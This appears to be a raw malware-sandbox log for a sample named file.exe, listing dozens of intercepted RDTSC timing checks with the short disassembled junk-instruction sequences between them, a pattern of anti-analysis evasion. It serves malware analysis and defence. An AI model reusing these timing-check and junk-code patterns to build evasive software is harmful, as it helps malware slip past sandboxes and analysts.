Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5898F4 second address: 58990F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 589A4D second address: 589A5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 ja 00007F32E9641F16h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 589A5E second address: 589A64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 59077B second address: 59078C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32E9641F1Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 59078C second address: 5907D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F32E8D838E9h 0x0000000e jmp 00007F32E8D838E0h 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5907D6 second address: 5907DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 58F325 second address: 58F354 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 ja 00007F32E8D838D6h 0x00000009 pop ebx 0x0000000a jmp 00007F32E8D838DDh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jno 00007F32E8D838D6h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push edi 0x00000020 pop edi 0x00000021 ja 00007F32E8D838D6h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 58F354 second address: 58F360 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F32E9641F16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 58F360 second address: 58F396 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F32E8D838E8h 0x00000008 js 00007F32E8D838D6h 0x0000000e jmp 00007F32E8D838DCh 0x00000013 pushad 0x00000014 jmp 00007F32E8D838E9h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 58F4CC second address: 58F4F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F32E9641F16h 0x0000000a popad 0x0000000b jg 00007F32E9641F18h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F32E9641F24h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 58F65F second address: 58F667 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 58F667 second address: 58F68D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F26h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F32E9641F18h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 58FEF0 second address: 58FF04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 jc 00007F32E8D838D6h 0x0000000b pop edx 0x0000000c js 00007F32E8D838EBh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 59008C second address: 590090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 590090 second address: 59009E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F32E8D838D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5903B2 second address: 5903B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5903B6 second address: 5903FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F32E8D838E9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F32E8D838E3h 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jl 00007F32E8D838D6h 0x0000001a jng 00007F32E8D838D6h 0x00000020 push ecx 0x00000021 pop ecx 0x00000022 push edx 0x00000023 pop edx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5903FD second address: 59041A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F22h 0x00000007 push ebx 0x00000008 js 00007F32E9641F16h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 596173 second address: 59619B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32E8D838DCh 0x00000009 pop esi 0x0000000a pop ecx 0x0000000b pushad 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 pop eax 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007F32E8D838DBh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 594C24 second address: 594C29 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 59533C second address: 595342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 595FDA second address: 59600C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F26h 0x00000007 jne 00007F32E9641F16h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push esi 0x0000001a pop esi 0x0000001b jnp 00007F32E9641F16h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5992CB second address: 5992D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5992D4 second address: 5992E8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F32E9641F1Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 506F05 second address: 506F3F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F32E8D838FAh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F32E8D838D6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 506F3F second address: 506F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 506F43 second address: 506F51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F32E8D838DEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 506F51 second address: 506F57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 506F57 second address: 506F5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 59EF47 second address: 59EF4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 59EF4D second address: 59EF51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 59EF51 second address: 59EF73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F32E9641F1Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F32E9641F16h 0x00000014 jg 00007F32E9641F16h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 59F220 second address: 59F238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F32E8D838DCh 0x0000000b popad 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5A1B3A second address: 5A1B40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5A1B40 second address: 5A1B4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F32E8D838D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5A1B4C second address: 5A1B57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5A1B57 second address: 5A1B5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5A1B5B second address: 5A1B80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F32E9641F21h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jc 00007F32E9641F16h 0x00000012 pushad 0x00000013 popad 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5A1B80 second address: 5A1B84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5A185D second address: 5A186F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F32E9641F16h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5A186F second address: 5A188A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F32E8D838D6h 0x0000000a jg 00007F32E8D838D6h 0x00000010 popad 0x00000011 jnc 00007F32E8D838DAh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5A72B3 second address: 5A72B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5A64FB second address: 5A64FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5A64FF second address: 5A6505 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5A6505 second address: 5A6523 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F32E8D838E8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5A6663 second address: 5A6667 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5A6667 second address: 5A6696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F32E8D838E4h 0x0000000d jmp 00007F32E8D838E3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5A6696 second address: 5A66D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F27h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push ecx 0x0000000d jmp 00007F32E9641F27h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5A6A29 second address: 5A6A3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838DAh 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5A6CDB second address: 5A6CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jno 00007F32E9641F18h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5A6CEC second address: 5A6CF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5A6CF0 second address: 5A6CF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5A6E14 second address: 5A6E20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F32E8D838D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5A6E20 second address: 5A6E24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5A6E24 second address: 5A6E77 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F32E8D838D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F32E8D838E8h 0x00000012 jmp 00007F32E8D838E4h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F32E8D838E6h 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5A6E77 second address: 5A6E7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5AA017 second address: 5AA031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32E8D838DFh 0x00000009 popad 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5AA031 second address: 5AA081 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F23h 0x00000007 jmp 00007F32E9641F22h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007F32E9641F1Ch 0x00000016 jo 00007F32E9641F16h 0x0000001c jmp 00007F32E9641F29h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5AE993 second address: 5AE9CF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnc 00007F32E8D838D6h 0x00000009 jmp 00007F32E8D838E6h 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F32E8D838E8h 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5AEB2F second address: 5AEB37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5AEB37 second address: 5AEB45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F32E8D838D6h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5AEB45 second address: 5AEB4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5AEB4D second address: 5AEB77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 jnc 00007F32E8D838E8h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5AEB77 second address: 5AEB89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F32E9641F1Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5AEB89 second address: 5AEB93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F32E8D838D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55FA1B second address: 55FA24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5AF203 second address: 5AF207 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5AF207 second address: 5AF244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F32E9641F16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F32E9641F26h 0x00000013 jmp 00007F32E9641F29h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5AFC72 second address: 5AFC76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5AFC76 second address: 5AFC80 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F32E9641F16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5AFC80 second address: 5AFC8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5B7F93 second address: 5B7FA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F32E9641F16h 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5B8AD9 second address: 5B8AFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnc 00007F32E8D838D6h 0x0000000c jmp 00007F32E8D838DBh 0x00000011 je 00007F32E8D838D6h 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5B8AFA second address: 5B8B28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F32E9641F16h 0x0000000a jmp 00007F32E9641F29h 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jnl 00007F32E9641F16h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5B8B28 second address: 5B8B2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55FD0D second address: 55FD13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5B8E38 second address: 5B8E6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F32E8D838E6h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F32E8D838E3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5B8E6A second address: 5B8E87 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F32E9641F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F32E9641F1Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5B8E87 second address: 5B8E8F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5B9737 second address: 5B973B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5B973B second address: 5B977C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F32E8D838D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007F32E8D838DCh 0x00000012 je 00007F32E8D838F5h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5053C2 second address: 5053CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F32E9641F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5053CC second address: 5053F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jno 00007F32E8D838D6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5BC93B second address: 5BC943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5BC943 second address: 5BC960 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F32E8D838DDh 0x0000000f js 00007F32E8D838D6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5BC960 second address: 5BC964 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5BCD81 second address: 5BCD85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5BCD85 second address: 5BCDBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32E9641F1Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F32E9641F26h 0x00000012 jmp 00007F32E9641F1Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5BCDBA second address: 5BCDD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F32E8D838E1h 0x0000000b popad 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5BCDD7 second address: 5BCDE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F32E9641F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5BCF16 second address: 5BCF20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F32E8D838D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5BD094 second address: 5BD0BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jng 00007F32E9641F2Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5BD0BB second address: 5BD0BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5BD265 second address: 5BD269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
